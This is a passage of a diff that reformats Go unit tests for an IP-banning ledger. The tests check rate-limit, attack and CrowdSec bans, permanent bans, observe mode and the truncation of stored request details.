first.Expires.Add(tc.gap),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
if second.Expires.Sub(second.Start) != tc.want ||
|
if second.Expires.Sub(second.Start) != tc.want ||
|
||||||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
||||||
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
|
second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
|
||||||
second.Expires.Sub(
|
|
||||||
second.Start,
|
|
||||||
),
|
|
||||||
second.Notes.EarlierBans,
|
|
||||||
tc.want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -104,11 +84,8 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
|||||||
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !ban.Permanent() {
|
if !ban.Permanent() {
|
||||||
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
|
||||||
}
|
}
|
||||||
@@ -129,12 +106,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
|||||||
for i := range 14 {
|
for i := range 14 {
|
||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Expires.After(ban.Start) {
|
if !ban.Expires.After(ban.Start) {
|
||||||
t.Fatalf(
|
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
|
||||||
"ban %d starts at %s and ends at %s",
|
|
||||||
i+1,
|
|
||||||
ban.Start,
|
|
||||||
ban.Expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -157,36 +129,17 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
|
|||||||
t.Error("the first ban was not made")
|
t.Error("the first ban was not made")
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made := ledger.BanForLimit(
|
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight().Add(time.Minute),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
if made || !reflect.DeepEqual(again, first) ||
|
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
|
||||||
len(ledger.Bans(netblock)) != 1 {
|
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
||||||
t.Errorf(
|
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
|
||||||
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
|
|
||||||
"want %+v, not made, and 1",
|
|
||||||
again,
|
|
||||||
made,
|
|
||||||
len(ledger.Bans(netblock)),
|
|
||||||
first,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
again, made = ledger.BanForAttack(
|
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight().Add(time.Minute),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if made || !reflect.DeepEqual(again, first) {
|
if made || !reflect.DeepEqual(again, first) {
|
||||||
t.Errorf(
|
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
|
||||||
"an attack during a ban gave %+v, made %t, want %+v, not made",
|
again, made, first)
|
||||||
again,
|
|
||||||
made,
|
|
||||||
first,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -195,26 +148,16 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Requests: 5},
|
|
||||||
)
|
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
got, banned, _ := ledger.Check(
|
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
||||||
netblock.Addr(),
|
|
||||||
ban.Expires.Add(-time.Nanosecond),
|
|
||||||
)
|
|
||||||
if !banned || got.Start != ban.Start {
|
if !banned || got.Start != ban.Start {
|
||||||
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
t.Fatalf("check during the ban gives %+v and %t", got, banned)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(
|
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
|
||||||
netip.MustParseAddr("203.0.113.10"),
|
|
||||||
midnight(),
|
|
||||||
)
|
|
||||||
if banned {
|
if banned {
|
||||||
t.Error("another netblock is banned")
|
t.Error("another netblock is banned")
|
||||||
}
|
}
|
||||||
@@ -237,23 +180,11 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Requests: 5},
|
|
||||||
)
|
|
||||||
|
|
||||||
got, banned, _ := ledger.Find(
|
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
|
||||||
netblock.Addr(),
|
|
||||||
ban.Expires.Add(-time.Nanosecond),
|
|
||||||
)
|
|
||||||
if !banned || !reflect.DeepEqual(got, ban) {
|
if !banned || !reflect.DeepEqual(got, ban) {
|
||||||
t.Errorf(
|
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
|
||||||
"find during the ban gives %+v and %t, want %+v",
|
|
||||||
got,
|
|
||||||
banned,
|
|
||||||
ban,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
|
||||||
@@ -261,21 +192,12 @@ func TestFindCountsNothing(t *testing.T) {
|
|||||||
t.Error("the ban did not end")
|
t.Error("the ban did not end")
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
|
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
|
||||||
notes,
|
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
|
||||||
ban.Notes,
|
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"the notes are %+v, want them unchanged, %+v",
|
|
||||||
notes,
|
|
||||||
ban.Notes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
|
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
@@ -308,10 +230,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
|
|||||||
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
|
||||||
|
|
||||||
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
|
||||||
t.Errorf(
|
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
|
||||||
"a kept its ban of %s, want the later one",
|
|
||||||
ledger.Bans(a)[0].Start,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -344,70 +263,41 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
|
|||||||
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
notes := bans.Notes{RuleID: "env-file", Target: "path"}
|
||||||
|
|
||||||
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
|
||||||
if !ban.Expires.Equal(midnight().Add(7*day)) ||
|
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
|
||||||
ban.Cause != bans.CauseAttack ||
|
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
|
||||||
ban.Notes.RuleID != "env-file" ||
|
|
||||||
ledger.Made(bans.CauseAttack) != 1 ||
|
|
||||||
ledger.Made(bans.CauseLimit) != 0 {
|
ledger.Made(bans.CauseLimit) != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
|
||||||
"the ban is %+v, with %d made for an attack and %d for a limit, "+
|
"want one for an attack, of seven days", ban,
|
||||||
"want one for an attack, of seven days",
|
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
|
||||||
ban,
|
|
||||||
ledger.Made(bans.CauseAttack),
|
|
||||||
ledger.Made(bans.CauseLimit),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// In observe mode the ban refuses nothing, and stays as it is, while
|
// In observe mode the ban refuses nothing, and stays as it is, while
|
||||||
// Find tells that the request would have made it permanent.
|
// Find tells that the request would have made it permanent.
|
||||||
got, _, wouldMakePermanent := ledger.Find(
|
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
|
||||||
netblock.Addr(),
|
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
|
||||||
midnight().Add(time.Hour),
|
t.Fatalf("a request found under the ban left it %+v, would have made it "+
|
||||||
)
|
"permanent %t, want it as it was, and true", got, wouldMakePermanent)
|
||||||
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
|
|
||||||
!wouldMakePermanent {
|
|
||||||
t.Fatalf(
|
|
||||||
"a request found under the ban left it %+v, would have made it "+
|
|
||||||
"permanent %t, want it as it was, and true",
|
|
||||||
got,
|
|
||||||
wouldMakePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// A request it refuses makes it permanent, says so, and makes
|
// A request it refuses makes it permanent, says so, and makes
|
||||||
// bans.json due.
|
// bans.json due.
|
||||||
got, _, madePermanent := ledger.Check(
|
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
|
||||||
netblock.Addr(),
|
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
|
||||||
midnight().Add(time.Hour),
|
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
|
||||||
)
|
"want it made permanent", got, madePermanent)
|
||||||
if !madePermanent || !got.Permanent() ||
|
|
||||||
!ledger.Bans(netblock)[0].Permanent() {
|
|
||||||
t.Fatalf(
|
|
||||||
"after a request during the ban, it is %+v, made permanent %t, "+
|
|
||||||
"want it made permanent",
|
|
||||||
got,
|
|
||||||
madePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// The next request finds it permanent already.
|
// The next request finds it permanent already.
|
||||||
_, banned, madePermanent := ledger.Check(
|
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
|
||||||
netblock.Addr(),
|
|
||||||
midnight().Add(100*365*day),
|
|
||||||
)
|
|
||||||
if !banned || madePermanent {
|
if !banned || madePermanent {
|
||||||
t.Errorf(
|
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
|
||||||
"a later request is banned %t, and made the ban permanent %t, "+
|
"want banned by the permanent ban", banned, madePermanent)
|
||||||
"want banned by the permanent ban",
|
|
||||||
banned,
|
|
||||||
madePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -435,11 +325,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
|
|||||||
|
|
||||||
// Its notes show the earlier ban for an attack that makes it permanent,
|
// Its notes show the earlier ban for an attack that makes it permanent,
|
||||||
// beside the one for a limit.
|
// beside the one for a limit.
|
||||||
third, _ := ledger.BanForAttack(
|
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
|
||||||
netblock,
|
|
||||||
second.Expires.Add(30*day),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !third.Permanent() ||
|
if !third.Permanent() ||
|
||||||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
|
||||||
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
|
||||||
@@ -456,18 +342,10 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
|
|
||||||
// While the first ban lasts, none would be made.
|
// While the first ban lasts, none would be made.
|
||||||
during, would := ledger.WouldBanForAttack(
|
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if would || !reflect.DeepEqual(during, first) {
|
if would || !reflect.DeepEqual(during, first) {
|
||||||
t.Errorf(
|
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
|
||||||
"during the first ban, would ban %t with %+v, want false with %+v",
|
would, during, first)
|
||||||
would,
|
|
||||||
during,
|
|
||||||
first,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// As it ends, a clear sign of attack would ban for seven days, and a
|
// As it ends, a clear sign of attack would ban for seven days, and a
|
||||||
@@ -475,31 +353,19 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
|
|||||||
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
|
||||||
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
|
||||||
bans.Notes{RuleID: "git-dir"})
|
bans.Notes{RuleID: "git-dir"})
|
||||||
limit, wouldLimit := ledger.WouldBanForLimit(
|
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
|
||||||
netblock,
|
|
||||||
first.Expires,
|
|
||||||
limitNotes,
|
|
||||||
)
|
|
||||||
|
|
||||||
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
|
||||||
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
|
||||||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
|
||||||
limit.Reason != "requests per minute over the limit of 1" {
|
limit.Reason != "requests per minute over the limit of 1" {
|
||||||
t.Errorf(
|
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
|
||||||
"would ban with %+v and %+v, want seven days for the attack and "+
|
"three hours for the limit", attack, limit)
|
||||||
"three hours for the limit",
|
|
||||||
attack,
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(ledger.Bans(netblock)) != 1 ||
|
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
|
||||||
ledger.Made(bans.CauseLimit) != 1 ||
|
|
||||||
ledger.Made(bans.CauseAttack) != 0 {
|
ledger.Made(bans.CauseAttack) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
|
||||||
"the ledger holds %+v, want the first ban alone",
|
|
||||||
ledger.Bans(netblock),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
@@ -556,8 +422,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
|||||||
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
|
||||||
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
|
||||||
limit.Cause != bans.CauseLimit {
|
|
||||||
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -578,23 +443,15 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
|
|||||||
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Request: request},
|
|
||||||
)
|
|
||||||
|
|
||||||
cut := long[:256]
|
cut := long[:256]
|
||||||
want := bans.Request{
|
want := bans.Request{
|
||||||
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
||||||
}
|
}
|
||||||
|
|
||||||
if ban.Notes.Request != want ||
|
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
|
||||||
ledger.Bans(netblock)[0].Notes.Request != want {
|
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
|
||||||
t.Errorf(
|
|
||||||
"the notes keep %+v, want each text cut to 256 bytes",
|
|
||||||
ban.Notes.Request,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -625,23 +482,13 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
|||||||
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
||||||
} {
|
} {
|
||||||
got := held[i].Notes
|
got := held[i].Notes
|
||||||
if got.ASN != want.ASN || got.ASName != want.ASName ||
|
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
|
||||||
got.Country != want.Country {
|
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
|
||||||
t.Errorf(
|
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
|
||||||
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
|
|
||||||
i+1,
|
|
||||||
got.ASN,
|
|
||||||
got.ASName,
|
|
||||||
got.Country,
|
|
||||||
want.ASN,
|
|
||||||
want.ASName,
|
|
||||||
want.Country,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
|
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
|
||||||
notes.Country != "" {
|
|
||||||
t.Errorf("the ban on %s has %q and %q, want neither",
|
t.Errorf("the ban on %s has %q and %q, want neither",
|
||||||
other, notes.ASN, notes.Country)
|
other, notes.ASN, notes.Country)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,55 +20,29 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
|||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
|
|
||||||
// The ban that would be made is not made.
|
// The ban that would be made is not made.
|
||||||
would, wouldBan := ledger.WouldBanForCrowdSec(
|
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
|
||||||
netblock,
|
scenario, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
expires,
|
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
|
||||||
"would ban %t, and the ledger holds %+v, want true and nothing",
|
wouldBan, ledger.Bans(netblock))
|
||||||
wouldBan,
|
|
||||||
ledger.Bans(netblock),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const reason = "CrowdSec's decision for " + scenario
|
const reason = "CrowdSec's decision for " + scenario
|
||||||
|
|
||||||
ban, made := ledger.BanForCrowdSec(
|
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
|
||||||
netblock,
|
bans.Notes{})
|
||||||
midnight(),
|
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
|
||||||
expires,
|
!ban.Expires.Equal(expires) || ban.Reason != reason ||
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
if !made || !reflect.DeepEqual(ban, would) ||
|
|
||||||
ban.Cause != bans.CauseCrowdSec ||
|
|
||||||
!ban.Expires.Equal(expires) ||
|
|
||||||
ban.Reason != reason ||
|
|
||||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
t.Errorf(
|
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
|
||||||
"made %t the ban %+v, want the one that would be made, %+v, for "+
|
"crowdsec until %s", made, ban, would, expires)
|
||||||
"crowdsec until %s",
|
|
||||||
made,
|
|
||||||
ban,
|
|
||||||
would,
|
|
||||||
expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// A second decision on the netblock while the ban lasts makes no other.
|
// A second decision on the netblock while the ban lasts makes no other.
|
||||||
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
||||||
expires.Add(time.Hour), scenario, bans.Notes{})
|
expires.Add(time.Hour), scenario, bans.Notes{})
|
||||||
if made || !again.Expires.Equal(expires) ||
|
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
|
||||||
t.Errorf(
|
|
||||||
"made %t the ban %+v while the first lasts, want none",
|
|
||||||
made,
|
|
||||||
again,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -78,13 +52,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
ledger.BanForCrowdSec(
|
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
expires,
|
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
|
|
||||||
// A request as the ban ends is refused, and leaves it as it is.
|
// A request as the ban ends is refused, and leaves it as it is.
|
||||||
last := expires.Add(-time.Nanosecond)
|
last := expires.Add(-time.Nanosecond)
|
||||||
@@ -92,13 +60,8 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
||||||
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
||||||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
||||||
t.Errorf(
|
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
|
||||||
"as the ban ends, banned %t with %+v, made permanent %t, want "+
|
"refused under the ban as it was", banned, held, madePermanent)
|
||||||
"refused under the ban as it was",
|
|
||||||
banned,
|
|
||||||
held,
|
|
||||||
madePermanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
||||||
@@ -106,9 +69,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
|
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
@@ -117,20 +78,13 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
|
|||||||
// Three times the three days would be permanent; a limit broken as the
|
// Three times the three days would be permanent; a limit broken as the
|
||||||
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
||||||
// limit does.
|
// limit does.
|
||||||
crowdSec, _ := ledger.BanForCrowdSec(
|
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
|
||||||
netblock,
|
scenario, bans.Notes{})
|
||||||
midnight(),
|
|
||||||
midnight().Add(3*day),
|
|
||||||
scenario,
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
||||||
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
limit)
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,16 +29,8 @@ func TestChangedAfterABanIsMade(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// Two bans before the value is read leave one.
|
// Two bans before the value is read leave one.
|
||||||
ledger.BanForLimit(
|
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
|
||||||
netip.MustParsePrefix("203.0.113.10/32"),
|
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
ledger.BanForLimit(
|
|
||||||
netip.MustParsePrefix("203.0.113.11/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
